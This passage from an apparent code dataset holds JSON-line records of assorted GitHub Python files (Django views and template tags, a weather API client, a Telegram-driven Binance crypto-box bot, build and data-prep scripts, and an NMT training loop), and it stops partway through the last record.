+{"seq_id":"11489487117","text":"# Difficulty : Medium\n# Link : https://www.hackerrank.com/challenges/np-arrays/problem\n# Language : Python 3\n\nimport numpy\n\ndef arrays(arr):\n    a= numpy.array(arr, float)\n    return a[::-1]\n\narr = input().strip().split(' ')\nresult = arrays(arr)\nprint(result)\n","repo_name":"Rubabesabanova/HackerRank","sub_path":"Python/np_arrays.py","file_name":"np_arrays.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"24200369345","text":"from django.template import Library\nfrom types import FunctionType\nfrom django.forms.models import ModelChoiceField\nfrom django.utils.safestring import mark_safe\nfrom django.urls import reverse\nfrom django.db.models import ForeignKey, ManyToManyField, OneToOneField\nfrom django.db.models.fields import DateField\nfrom django.db.models.query import QuerySet\nfrom django.db import models\nfrom django.conf import settings\nfrom crm.permissions.permissios import Permissions\n\nregister=Library()\n\n######################使用生成器\ndef header_list(cl):\n\n    if cl.list_display:\n        for field in cl.list_display:\n            if isinstance(field, FunctionType):\n                header_name = field(cl.stark_class, row=None, header_body=False)  # 加后面的编辑框\n            else:\n                header_name = cl.stark_class.model_class._meta.get_field(field).verbose_name  # 获取对应字段的verbose_name\n            yield header_name\n    else:\n        yield cl.stark_class.model_class._meta.model_name  # 如果list_display中没有值显示表名\n\ndef body_list(cl):\n    for row in cl.queryset:\n        row_list = []  # 注意必须放在这个循环下面\n        \"\"\"\n        ['id','name']\n        \"\"\"\n        \"\"\"\n        body_list=[\n        ['id','name']\n        ...\n        ]\n        \"\"\"\n        if not cl.list_display:  # list_display中没有值\n            row_list.append(row)\n            yield row_list\n            continue\n        for field in cl.list_display:  # list_display中有值\n            if isinstance(field, FunctionType):\n                val = field(cl.stark_class, row=row, header_body=True)\n            else:\n                field_obj=cl.stark_class.model_class._meta.get_field(field) #获取字段对象\n                if field_obj.choices:\n                    val=getattr(row,\"get_%s_display\"%field)()\n                elif isinstance(field_obj,DateField):\n                    val = getattr(row, field)\n                    if val:\n                        val=val.strftime(\"%Y-%m-%d\")\n                elif isinstance(field_obj,ManyToManyField):\n                    queryset = getattr(row,field).all()#ManyToManyField反射需要加all()\n                    val_list=[]\n                    for obj in queryset:\n                        val_list.append(str(obj))\n                    val='、'.join(val_list)\n                else:\n                    val = getattr(row, field) #ForeignKey字段反射，ManyToManyField会出现问题\n                if not val:\n                    val=''\n            row_list.append(val)\n        yield row_list\n\n@register.inclusion_tag('stark/table.html')\ndef table_list(cl):\n\n    return {'header_list':header_list(cl),'body_list':body_list(cl)}\n\n\n@register.simple_tag()\ndef gen_is_pop(bfield,starkclass):\n    if isinstance(bfield.field,ModelChoiceField):\n        namespace=starkclass.site.namespace\n        related_app_lebel=bfield.field.queryset.model._meta.app_label\n        related_model_name=bfield.field.queryset.model._meta.model_name\n\n        url_name='%s:%s_%s_add'%(namespace,related_app_lebel,related_model_name)\n        # if Permissions().permission_dict and url_name in Permissions().permission_dict: #判断权限，pop功能的+是否显示\n        add_url=reverse(url_name)\n        add_url=add_url+'?pop_id=id_%s'%bfield.name\n        return mark_safe(\"\"\"<a onclick=\"pop('%s')\" style=\"position: absolute;right: -30px;top: 20px\"><span style=\"font-size: 28px\">+</span></a>\"\"\"%add_url)\n    return bfield\n\n\n@register.simple_tag()\ndef m2m_data(form,field,stark_class):\n    \"\"\"\n    出项在左侧的可选项\n    :param form:\n    :param field:\n    :param stark_class:\n    :return:\n    \"\"\"\n    field_name=field.name\n    field_obj=stark_class.model_class._meta.get_field(field_name)\n    if isinstance(field_obj,ManyToManyField):\n        data_set = set(field_obj.remote_field.model.objects.all())\n        if form.instance.id:\n            selected_data_set=set(getattr(form.instance,field_obj.name).all())\n            queryset=data_set-selected_data_set\n            return queryset\n        return data_set\n\n@register.simple_tag()\ndef m2m_un_data(form,field,stark_class):\n    \"\"\"\n    出项在左侧已选项\n    :param form:\n    :param field:\n    :return:\n    \"\"\"\n    field_name = field.name\n    field_obj=stark_class.model_class._meta.get_field(field_name)\n    if isinstance(field_obj,ManyToManyField):\n        if form.instance.id:\n            selected_data_set = getattr(form.instance, field_obj.name).all()\n            return selected_data_set\n        else:\n            return []\n\n@register.inclusion_tag('stark/m2m.html')\ndef m2m_all_data(form,field,stark_class):\n    return {'m2m_data':m2m_data(form,field,stark_class),'m2m_un_data':m2m_un_data(form,field,stark_class),'field':field}\n\n\n\n","repo_name":"ShenJianPing0307/yw_crm","sub_path":"yw_crm/stark/templatetags/stark.py","file_name":"stark.py","file_ext":"py","file_size_in_byte":4763,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"19126800531","text":"from permission.models import RoleFunctionPermission, RolePermission\n\n\nclass EditRolePermissionParser:\n    def __init__(self, json_data):\n        self.environment_id = json_data.get(\"environment_id\")\n        self.function_permissions = json_data.get(\"function_permissions\")\n\n    def parse_data(self):\n        for function_permission in self.function_permissions:\n            function_id = function_permission.get(\"function_id\")\n            permissions = function_permission.get(\"permissions\")\n            for permission in permissions:\n                role_type_id = permission.get(\"role_type_id\")\n                visible = permission.get(\"visible\")\n                editable = permission.get(\"editable\")\n                RoleFunctionPermission.objects.filter(function_id=function_id,\n                                                      role_permission__environment__id=self.environment_id,\n                                                      role_permission__role_type__id=role_type_id).update(visible=visible, editable=editable)\n","repo_name":"wendywu-taiwan/conf-mgt-tool-light","sub_path":"permission/data_object/json_parser/edit_role_permission.py","file_name":"edit_role_permission.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"70898814657","text":"import os\nimport time\n\nimport requests\nfrom dotenv import load_dotenv\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as ec\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom telethon import events, TelegramClient\n\nload_dotenv()\n\napi_id = int(os.getenv('api_id'))\napi_hash = os.getenv('api_hash')\nclient = TelegramClient('anon', api_id, api_hash)\n\n\n@client.on(events.NewMessage(pattern='^[A-Z0-9]{8}$'))\nasync def message_handler(event):\n    text = event.message.text\n    check_handle_message(text)\n\n\ndef show_result(data):\n    print(data['code'], data['amount'], data['coin'])\n\n\ndef check_box(code):\n    try:\n        btn = WebDriverWait(driver, timeout=3).until(\n            ec.presence_of_element_located((By.XPATH, '/html/body/div[4]/div[1]/div/div/button'))\n        )\n        open_btn = driver.find_element(By.XPATH, value='/html/body/div[4]/div[1]/div/div/button').click()\n        time.sleep(3)\n        amount = driver.find_element(By.XPATH, value='/html/body/div[4]/div[1]/div/div/div[4]/div/div/div[1]').text\n        coin = driver.find_element(By.XPATH, value='/html/body/div[4]/div[1]/div/div/div[4]/div/div/div[2]').text\n        print(code, amount, coin)\n        driver.refresh()\n        driver.implicitly_wait(3)\n    except:\n        print('Криптобокс закончился или уже использован')\n        driver.refresh()\n        driver.implicitly_wait(3)\n\n\ndef open_box(code: str):\n    all_codes.append(code)\n    print(last_codes)\n    if len(last_codes) == 1000:\n        last_codes.clear()\n    if code in last_codes:\n        print(f'skip: {code}')\n    else:\n        input_code_lable = driver.find_element(by=By.XPATH,\n                                               value='/html/body/div[1]/div[1]/div[2]/div[2]/div/div[1]/div[2]'\n                                                     '/div/div[2]/input')\n        paste_code = input_code_lable.send_keys(code)\n\n        get_box_btn = (driver.find_element(by=By.XPATH,\n                                           value='/html/body/div[1]/div[1]/div[2]/div[2]/div/div[1]/div[2]'\n                                                 '/button').click())\n\n        last_codes.append(code)\n\n        check_box(code)\n\n\ndef check_handle_message(message: str) -> None:\n    if len(message) > 8:\n        message = message.replace('*', '').replace('`', '')\n    open_box(message)\n\n\ndef start_browser(value: str):\n    url = f'http://localhost:3001/v1.0/browser_profiles/{value}/start?automation=1'\n    response = requests.get(url)\n    print(response.status_code)\n    port = response.json()['automation']['port']\n\n    chromedriver_path = Service('chromedriver/chromedriver-windows-x64.exe')\n    options = webdriver.ChromeOptions()\n    options.debugger_address = f'127.0.0.1:{port}'\n    # options.add_argument('--headless')\n\n    browser = webdriver.Chrome(service=chromedriver_path, options=options)\n    # driver.set_window_position(x=1099, y=0)\n    return browser\n\n\nasync def main():\n    await client.start()\n    await client.run_until_disconnected()\n\n\nif __name__ == \"__main__\":\n    all_codes = []\n    last_codes = []\n    profile_id = os.getenv('pofile_id')\n    driver = start_browser(profile_id)\n    with client:\n        client.loop.run_until_complete(main())\n","repo_name":"ksalx/BinanceBot","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"19166206434","text":"from flask_assets import Bundle\n\nbundles = {\n\n\t'golfcourse_js': Bundle(\n\t\t'js/golfcourse.js',\n\t\toutput='gen/golfcourse_js.js',\n        filters='jsmin'),\n\n\t'calendar_js': Bundle(\n\t\t'js/base.js',\n\t\toutput='gen/calendar_js.js',\n        filters='jsmin'),\n\n\t'stat_js': Bundle(\n\t\t'js/stat.js',\n\t\toutput='gen/stat_js.js',\n        filters='jsmin'),\n\n\t'main_js': Bundle(\n        'vendor/js/jquery.js',\n\t\t'vendor/js/jquery-ui.min.js',\n        'vendor/js/bootstrap.js',\n        'vendor/js/bootstrap-notify.min.js',\n        'vendor/js/paper-dashboard.js',\n\t\t'vendor/js/moment.min.js',\n\t\t'vendor/js/fullcalendar.js',\n\t\t'vendor/js/locale-all.js',\n\t\t'vendor/js/chartjs.js',\n\t\toutput='gen/main_js.js',\n        filters='jsmin'),\n\n\t'main_css': Bundle(\n        'vendor/css/bootstrap.css',\n        'vendor/css/bootstrap-theme.css',\n\t\t'vendor/css/bootstrap-social.css',\n\t\t'vendor/css/paper-dashboard.css',\n\t\t'vendor/css/font-awesome.min.css',\n\t\t'vendor/css/fullcalendar.css',\n\t\t'css/main.css',\n\t\t'vendor/css/flag-icon.css',\n\t\toutput='gen/main_css.css',\n        filters='cssmin'),\n\n\t'login_js': Bundle(\n        'vendor/js/jquery.js',\n        'vendor/js/bootstrap.js',\n\t\toutput='gen/login.js',\n        filters='jsmin'),\n\n\t'login_css': Bundle(\n        'vendor/css/bootstrap.css',\n        'vendor/css/bootstrap-theme.css',\n\t\t'vendor/css/font-awesome.css',\n\t\t'vendor/css/bootstrap-social.css',\n        'css/login.css',\n\t\toutput='gen/login.css',\n        filters='cssmin')\n}\n","repo_name":"fuglaris/golf.fuglar.com","sub_path":"app/util/assets.py","file_name":"assets.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"40468894686","text":"import logging\nfrom enum import Enum\nimport requests\nfrom datetime import datetime, timedelta\nimport urllib.parse\n\n\nclass InvalidTokenException(Exception):\n    \"\"\"Raised when the received access token is invalid \"\"\"\n    pass\n\n\nclass InvalidGeoLocationException(Exception):\n    \"\"\"Raised when the received access token is invalid \"\"\"\n    pass\n\n\nclass InvalidWeatherException(Exception):\n    \"\"\"Raised when the received access token is invalid \"\"\"\n    pass\n\n\ndef return3():\n    return 3\n\n\nclass Weather:\n    \"\"\" Class to get the weather from SRF Meteo for a specific place using the SRF Meteo API\n        see also https://developer.srgssr.ch/api-catalog/srf-weather#/Forecast/Forecast%20by%20geolocationid\n        In order to use this class, you need to register at https://developer.srgssr.ch/ and create an application.\n        The application will provide you with a client_id and a client_secret.\n        You can then use these values to instantiate the class.\n        The class will automatically update the access token every 7 days.\n\n    \"\"\"\n    TOKEN_VALIDITY_DAY = timedelta(days=7)\n\n    def __init__(self, client_id: str, client_secret: str, location: str):\n        self.logger = logging.getLogger(__name__)\n        self.client_id = client_id\n        self.client_secret = client_secret\n        self.last_header_update = None\n        self.headers = None\n        self.geo_location_id = self.get_geo_location_id(location)\n\n    def _get_headers(self):\n        if self.last_header_update is None or self.last_header_update + self.TOKEN_VALIDITY_DAY < datetime.now():\n            self.logger.debug(\"Updating token, as it is older than 7 days\")\n            self.last_header_update = datetime.now()\n            access_token = self.get_access_token(self.logger, self.client_id, self.client_secret)\n            self.headers = {'Authorization': f\"Bearer {access_token}\"}\n        return self.headers\n\n    @staticmethod\n    def get_access_token(logger: logging.Logger = None, client_id: str = None, client_secret: str = None):\n        # Define the authentication API endpoint URL and parameters\n        url = \"https://api.srgssr.ch/oauth/v1/accesstoken\"\n        params = {\n            \"grant_type\": \"client_credentials\"\n        }\n\n        # Send a POST request to the authentication API endpoint\n        response = requests.post(url, params=params, auth=(client_id, client_secret))\n        if not response.ok:\n            logger.error(f\"Invalid token, response: {response.status_code}  \")\n            raise InvalidTokenException\n\n        # Parse the JSON response data\n        data = response.json()\n\n        # Extract the access token from the response data\n        return data[\"access_token\"]\n\n    def get_geo_location_id(self, location: str):\n        # Define the API endpoint URL and parameters\n        url = \"https://api.srgssr.ch/srf-meteo/geolocationNames\"\n        params = {\"name\": location}\n\n        # Send a GET request to the API endpoint\n        response = requests.get(url, params=params, headers=self._get_headers())\n\n        if response.status_code != 200:\n            self.logger.error(f\"Invalid geolocation, response: {response.status_code}  \")\n            raise InvalidGeoLocationException\n\n        # Parse the JSON response data\n        data = response.json()\n\n        # Extract the location ID from the response data\n        geo_location_id = data[0][\"geolocation\"][\"id\"]\n        self.logger.debug(f\"retrieved location data: {data}\")\n        return geo_location_id\n\n    class ForecastDuration(Enum):\n        minutes60 = \"60minutes\"\n        hour = \"hour\"\n        day = \"day\"\n\n    @staticmethod\n    def get_weather_forcast_url(location_id: str):\n        url = f\"https://api.srgssr.ch/srf-meteo/forecast/{urllib.parse.quote(location_id)}\"\n        return url\n\n    def get_weather_forecast(self, forcast_duration: ForecastDuration):\n        url = self.get_weather_forcast_url(self.geo_location_id)\n        params = {\"type\": forcast_duration.value}\n\n        # Send a GET request to the API endpoint\n        response = requests.get(url, params=params, headers=self._get_headers())\n\n        if response.status_code != 200:\n            self.logger.error(f\"Invalid weather, response: {response.status_code}  \")\n            raise InvalidWeatherException\n\n        # Parse the JSON response data\n        data = response.json()\n\n        # Extract the forecast data from the response data\n        forecast = data[\"forecast\"]\n\n        return forecast\n\n    @staticmethod\n    def get_hours_of_sun(forecast):\n        sun_h_today = forecast[\"day\"][0][\"SUN_H\"]\n        sun_h_tomorrow = forecast[\"day\"][1][\"SUN_H\"]\n        return sun_h_today, sun_h_tomorrow\n","repo_name":"weieran/SRF-Weather","sub_path":"srf_weather/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":4651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"35934851360","text":"path_to_gambit = '/home/olpa/p/scheme/gambit'\n\nimport os\nos.environ['GAMBIT_SOURCE'] = path_to_gambit\n\npath_to_php_exec = os.environ.get('PHP', 'php')\n\nbld = Builder(src_suffix='.ss', suffix='.php',\n   action='''$GSC -e \"(load (string-append (getenv \\\\\"GAMBIT_SOURCE\\\\\") \\\\\"/gsc/_t-php.scm\\\\\"))(with-output-to-file (list path: \\\\\"$TARGET\\\\\") (lambda () (c#cf \\\\\"$SOURCE\\\\\" 'php '() #f #f)))\" ''')\n\nenv = Environment(\n  BUILDERS = {'PhpFromScheme': bld},\n  GSC      = os.path.join(path_to_gambit, 'gsc', 'gsc'),\n  PHP      = path_to_php_exec,\n  ENV      = os.environ)\n\nfor ss_file in Glob(os.path.join('*', '*.ss')):\n  php_file = str(ss_file)[:-3] + '.php'\n  if 'callcc.php' in php_file: # not supported\n    continue\n  node = env.PhpFromScheme(php_file, ss_file)\n  Alias('compile-all', node)\n  if 'yin-yang' in php_file:\n    node = env.Command(None, php_file, '$PHP ${SOURCE.file} | head -c 255', chdir=1)\n  else:\n    node = env.Command(None, php_file, '$PHP ${SOURCE.file}', chdir=1)\n  Alias('run-all', node)\n\nDefault('run-all')\n","repo_name":"olpa/schemevm","sub_path":"step-by-step-examples/SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"79"}
+{"seq_id":"16099662994","text":"import datetime\nfrom django.contrib import messages\nfrom django.http import HttpResponseNotFound\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.shortcuts import render, redirect\nfrom django.utils import timezone\nfrom .models import User, Event\nfrom .forms import RegisterForm, Login, EventForm\nimport hashlib\n\n\n\n# Create your views here.\n\n\n\ndef accueil(request):\n    return render(request,\"accueil.html\")\n\n\n\n\n \n\n\ndef today_appointment(request):  \n return render(request,\"today-appointment.html\")  \n\n\ndef all_appointment(request):   \n return render(request,\"all-appointment.html\")  \n\n\n#Enregistrement\n\ndef register(request):\n    if request.method == 'POST':\n        form = RegisterForm(request.POST)\n        if form.is_valid():\n            form.save()\n            return redirect('login')\n    else:\n        form = RegisterForm()\n    return render(request, 'register.html', {'form': form})\n\n#connexion\n\ndef user_login(request):\n    if request.method == 'POST':\n        form = Login(request.POST)\n        if form.is_valid():\n            # Extract the cleaned data from the form\n            username = form.cleaned_data['username']\n            password = form.cleaned_data['password']\n            # Authenticate the user using Django's built-in authentication system\n            user = authenticate(request, username=username, password=password)\n            if user is not None:\n                # Log in the user using Django's built-in login system\n                login(request, user)\n                # Redirect the user to a success page (e.g., home page)\n                return redirect('accueil')\n            else:\n                # Return an error message if the authentication failed\n                form.add_error(None, \"nom d'utlisation ou mot de passe incorrect\")\n    else:\n        # If the request method is not POST, create a new form instance\n        form = Login()\n    return render(request, 'login.html', {'form': form})\n\n#déconnexion\n\ndef user_logout(request):\n   logout(request)\n   return redirect(\"accueil\")\n\n\n#rendez-vous\n\n\n \ndef create_appointment(request):\n    if not request.user.is_authenticated:\n        return redirect('login') # ou n'importe quelle page de connexion\n\n    form = EventForm(request.POST or None)\n    if form.is_valid():\n        event = form.save(commit=False)\n        event.user = request.user\n        event.save()\n        return redirect('accueil')\n\n    context = {'form': form}\n    return render(request, 'create_appointment.html', context) \n    \n# rendez-vous à venir fonctionnalité future\n \ndef today_appointment(request):\n    if \"user\" in request.session:\n        username = request.session[\"user\"][\"username\"]\n        appointments = Event.objects.filter(user=username, date=datetime.date.today())\n        appointments_count = appointments.count()\n        page_number = int(request.GET.get('page', 1))\n        appointment = appointments[page_number-1]\n        context = {\"count\":appointments_count, \"appointment\":appointment, \"page_num\":page_number, \"next_page\": min(appointments_count, page_number + 1), \"prev_page\": max(1, page_number - 1)}\n        return render(request, \"today-appointment.html\", context)\n    else:\n        return HttpResponseNotFound(\"Page non accessible\")  \n    \n    \n#Terminer  des rendez-vous  fonctionnalité future\n\ndef today_appointment(request):    \n    if \"user\" in request.session:\n        appointments = Event.objects.filter(user=request.session[\"user\"][\"username\"], date=datetime.date.today())\n        appointments_count = len(appointments)\n        page_number = int(request.GET.get('page', 1))\n        appointment = appointments[page_number-1]\n        if request.GET.get(\"complete\"):\n            appointment.status = True\n            appointment.save()\n            return redirect(\"siteweb:today-appointment\")\n        if request.GET.get(\"delete\"):\n            appointment.delete()\n            return redirect(\"siteweb:today-appointment\")\n        context = {\"count\":appointments_count,\"appointment\":appointment,\"page_num\":page_number, \"next_page\": min(appointments_count, page_number + 1), \"prev_page\": max(1, page_number - 1)}\n        return render(request, \"today-appointment.html\", context)\n    else:\n        return HttpResponseNotFound(\"Page non accessible\")\n    \n    \n#Afficher tous les rendez-vous fonctionnalité future\n\ndef all_appointment(request):\n    if \"user\" in request.session:\n        appointments = Event.objects.filter(user=request.session[\"user\"][\"username\"])\n        appointments_count = appointments.count()\n        page_number = int(request.GET.get('page', 1))\n        appointment = appointments[page_number - 1]\n        if request.GET.get(\"delete\"):\n            appointment.delete()\n            return redirect(\"siteweb:all-appointment\")\n        context={\"count\":appointments_count,\"appointment\":appointment, \"next_page\": min(appointments_count, page_number + 1), \"prev_page\": max(1, page_number - 1)}\n        return render(request,\"all-appointment.html\",context)\n    else:\n        return HttpResponseNotFound(\"Page non accessible\")  \n","repo_name":"saberdevlpmt/Projet-django-booking-","sub_path":"siteweb/rendez_vous/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"75116523776","text":"from google.appengine.api import urlfetch\nimport settings\nimport simplejson as json\nimport oauth2 as oauth\nimport urllib\nimport logging\n\nclass LatitudeClient(object):\n    \n    realm = 'http://*.kenneth.io'\n    \n    def __init__(self, token, secret):\n        self._token = token\n        self._secret = secret\n    \n    def _invoke(self, path, params=None):\n        resource_url = \"https://www.googleapis.com/latitude/v1/%s\" % (path.lstrip('/'))\n    \n        token = oauth.Token(self._token, self._secret)\n        consumer = oauth.Consumer(settings.latitude_key, settings.latitude_secret)\n        oauth_request = oauth.Request.from_consumer_and_token(consumer, token, 'GET', resource_url, params)\n        oauth_request.sign_request(oauth.SignatureMethod_HMAC_SHA1(), consumer, token)\n\n        headers = {}\n        headers.update(oauth_request.to_header(realm = realm))\n        headers['user-agent'] = 'python-latitude'\n        headers['content-type'] = 'application/json; charset=UTF-8'\n        \n        if params:\n            resource_url = \"%s?%s\" % (resource_url, urllib.urlencode(params))\n            \n        response = urlfetch.fetch(url = resource_url, method = urlfetch.GET, headers = headers)\n        \n        return json.loads(response.content)\n    \n    def current_location(self):    \n        return self._invoke(\"/currentLocation\", {'granularity': 'best'})\n\n","repo_name":"auchenberg/python-latitude","sub_path":"client/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"79"}
+{"seq_id":"8678154581","text":"import sys\nimport numpy\n\nfrom openquake.hazardlib import nrml\n\nfrom openquake.hazardlib.geo.line import Line\nfrom openquake.hazardlib.geo.point import Point\nfrom openquake.hazardlib.geo.surface import ComplexFaultSurface\n\nAKI_RICH_ERR_MSG = 'Surface does not conform with Aki & Richards convention'\nWRONG_ORDER_ERR_MSG = 'Edges points are not in the right order'\n\n\ndef make_edge(edge):\n    ls = ~edge.LineString.posList\n    coords = numpy.array(ls).reshape(-1, 3)\n    return Line([Point(*coord) for coord in coords])\n\n\ndef reverse(edge):\n    poslist = ~edge.LineString.posList\n    coords = numpy.array(poslist).reshape(-1, 3)[::-1]  # reversing\n    text = '\\n'.join('%s %s %s' % tuple(coord) for coord in coords)\n    edge.LineString.posList.text = text\n\n\ndef fix_source_node(node):\n    if node.tag.endswith('complexFaultSource'):\n        geom = node.complexFaultGeometry\n        top = geom.faultTopEdge\n        intermediate = [edge for edge in geom.getnodes('intermediateEdge')]\n        bottom = geom.faultBottomEdge\n        edges = list(map(make_edge, [top] + intermediate + [bottom]))\n        try:\n            ComplexFaultSurface.from_fault_data(edges, mesh_spacing=4.)\n        except ValueError as excp:\n            if AKI_RICH_ERR_MSG in str(excp):\n                print(excp)\n                print('Reverting edges ...')\n                reverse(geom.faultTopEdge)\n                reverse(geom.faultBottomEdge)\n            elif WRONG_ORDER_ERR_MSG in str(excp):\n                print(excp)\n                print('reverting bottom edge ...')\n                reverse(geom.faultBottomEdge)\n            else:\n                raise\n\n\ndef fix(fname, outname=None):\n    root = nrml.read(fname)\n    xmlns = root['xmlns']\n    if xmlns == u'http://openquake.org/xmlns/nrml/0.4':\n        for src_node in root.sourceModel:\n            fix_source_node(src_node)\n    else:  # nrml/0.5+\n        for src_grp in root.sourceModel:\n            for src_node in src_grp:\n                fix_source_node(src_node)\n    with open(outname or fname, 'wb') as out:\n        nrml.write([root.sourceModel], out, xmlns=xmlns)\n\n\nif __name__ == '__main__':\n    fname = sys.argv[1]\n    fix(fname)\n","repo_name":"gem/oq-engine","sub_path":"openquake/engine/tools/correct_complex_sources.py","file_name":"correct_complex_sources.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":338,"dataset":"github-code","pt":"79"}
+{"seq_id":"32287335095","text":"import numpy as np\nimport os\nimport utils\n\n### Main program\nnp.random.seed(0)\nset_name_ori = 'headposes'\nset_name = 'headposes'\nnum_points = 15000\n\ntotal_lim = 100\nratio_dict = {'train': 0.7, \\\n        'test': 0.1, \\\n        'val': 0.2}\n\nsplit_list = list(ratio_dict.keys())\n\n\nfor split in split_list:\n    if not os.path.exists(\"render/render_\"+set_name+'/'+split):\n        os.makedirs(\"render/render_\"+set_name+'/'+split)\n    if not os.path.exists(\"pointcloud/pc_\"+set_name+'/'+split):\n        os.makedirs(\"pointcloud/pc_\"+set_name+'/'+split)\nif not os.path.exists(\"split_txt/split_txt_\"+set_name):\n        os.makedirs(\"split_txt/split_txt_\"+set_name)\n\nobj_file_list = os.listdir(\"mesh/mesh_\"+set_name)   \nobj_file_list.sort()\nn_obj = len(obj_file_list)\n\nindex={}\nindex_shuffle = np.arange(n_obj)\nnp.random.shuffle(index_shuffle)\nratio=0\n\nfor split in ratio_dict.keys():\n    index[split] = index_shuffle[int(np.ceil(n_obj * ratio)) : int(np.ceil(n_obj * (ratio + ratio_dict[split])))]\n    ratio += ratio_dict[split]\nprint(index)\n\nif set_name_ori == \"humanbody\":\n    rot_z=[-110, -90, -60, -30, -10]\n    rot_x=[30, 45, 60, 75, 90]\nelif set_name_ori == \"headposes\":\n    t = np.array([0,0,6])\n    rot_z=[-10,-2,0,2,10]    #perpendicular to screen\n    rot_x=[-10,-2,0,2,10]      #vertical\nelif set_name_ori == \"animals\":\n    t = np.array([0,0,6])\n    rot_z=[-30, -15, 0, 15, 30]    #perpendicular to screen\n    rot_x=[35, 45, 60, 75]      #vertical\n\n\nfor split in split_list:\n    count = 0 \n    with open('split_txt/split_txt_'+set_name+ '/' + split+'_split.txt','w') as f:\n        for i in index[split]:\n            file = obj_file_list[i]\n            target_prefix_render = \"render/render_\"+set_name+'/' +split+'/' + file.replace(\".obj\", \"_\")\n            target_prefix_cloud = \"pointcloud/pc_\"+set_name+'/' + split + '/' + file.replace(\".obj\", \".npy\")\n            utils.gen_pointclouds(\"mesh/mesh_\" + set_name_ori + '/'  + file, target_prefix_cloud, num = num_points)\n            for iz in range(len(rot_z)):\n                for ix in range(len(rot_x)):\n                    file_name = target_prefix_render + str(iz) + \"_\" + str(ix) + \".png\"\n                    utils.gen_rendering(\"mesh/mesh_\" + set_name_ori + '/' + file, file_name, rot_z[iz], rot_x[ix], t)\n                    f.write(file.replace(\".obj\", \"_\") + str(iz) + \"_\" + str(ix) + \".png\"+'\\n')\n            count+=1\n            print(split + '  ' + str(count))\n","repo_name":"wilsonxz/ML3D_AtlasNet_HumanBodyDataset","sub_path":"create_dataset.py","file_name":"create_dataset.py","file_ext":"py","file_size_in_byte":2420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"6260977063","text":"import os\nimport utils\nfrom nmt_dataset import NMTDataset\nfrom nmt_model import NMTModel\nimport torch\nfrom tqdm import tqdm\nimport torch.optim as optim\nimport nmt_dataset\n\n# create args for config parameters\nargs = utils.get_args()\n\n# get or create dataset\nif args.reload_from_files and os.path.exists(args.vectorizer_file):\n    # training from a checkpoint\n    dataset = NMTDataset.load_dataset_and_load_vectorizer(args.dataset_csv,\n                                                          args.vectorizer_file)\nelse:\n    # create dataset\n    dataset = NMTDataset.load_dataset_and_make_vectorizer(args.dataset_csv)\n    dataset.save_vectorizer(args.vectorizer_file)\n\n# create vectorizer\nvectorizer = dataset.get_vectorizer()\n\n# create model\nmodel = NMTModel(source_vocab_size=len(vectorizer.source_vocab),\n                 source_embedding_size=args.source_embedding_size,\n                 target_vocab_size=len(vectorizer.target_vocab),\n                 target_embedding_size=args.target_embedding_size,\n                 encoding_size=args.encoding_size,\n                 target_bos_index=vectorizer.target_vocab.begin_seq_index)\n\n# load from checkpoint or create new one\nif args.reload_from_files and os.path.exists(args.model_state_file):\n    model.load_state_dict(torch.load(args.model_state_file))\n    print(\"Reloaded model\")\nelse:\n    print(\"New model\")\n\n# prepare for training step\nmodel = model.to(args.device)\n\noptimizer = optim.Adam(model.parameters(), lr=args.learning_rate)\nscheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer=optimizer,\n                                                 mode='min', factor=0.5,\n                                                 patience=1)\nmask_index = vectorizer.target_vocab.mask_index\ntrain_state = utils.make_train_state(args)\n\nepoch_bar = tqdm(desc='training routine',\n                 total=args.num_epochs,\n                 position=0)\n\ndataset.set_split('train')\ntrain_bar = tqdm(desc='split=train',\n                 total=dataset.get_num_batches(args.batch_size),\n                 position=1,\n                 leave=True)\ndataset.set_split('val')\nval_bar = tqdm(desc='split=val',\n               total=dataset.get_num_batches(args.batch_size),\n               position=1,\n               leave=True)\n\n# Training and run validate\ntry:\n    for epoch_index in range(args.num_epochs):\n        sample_probability = (20 + epoch_index) / args.num_epochs\n\n        train_state['epoch_index'] = epoch_index\n\n        # Iterate over training dataset\n\n        # setup: batch generator, set loss and acc to 0, set train mode on\n        dataset.set_split('train')\n        batch_generator = nmt_dataset.generate_nmt_batches(dataset,\n                                                           batch_size=args.batch_size,\n                                                           device=args.device)\n        running_loss = 0.0\n        running_acc = 0.0\n        model.train()\n\n        for batch_index, batch_dict in enumerate(batch_generator):\n            # the training routine is these 5 steps:\n\n            # --------------------------------------\n            # step 1. zero the gradients\n            optimizer.zero_grad()\n\n            # step 2. compute the output\n            y_pred = model(batch_dict['x_source'],\n                           batch_dict['x_source_length'],\n                           batch_dict['x_target'],\n                           sample_probability=sample_probability)\n\n            # step 3. compute the loss\n            loss = utils.sequence_loss(y_pred, batch_dict['y_target'], mask_index)\n\n            # step 4. use loss to produce gradients\n            loss.backward()\n\n            # step 5. use optimizer to take gradient step\n            optimizer.step()\n\n            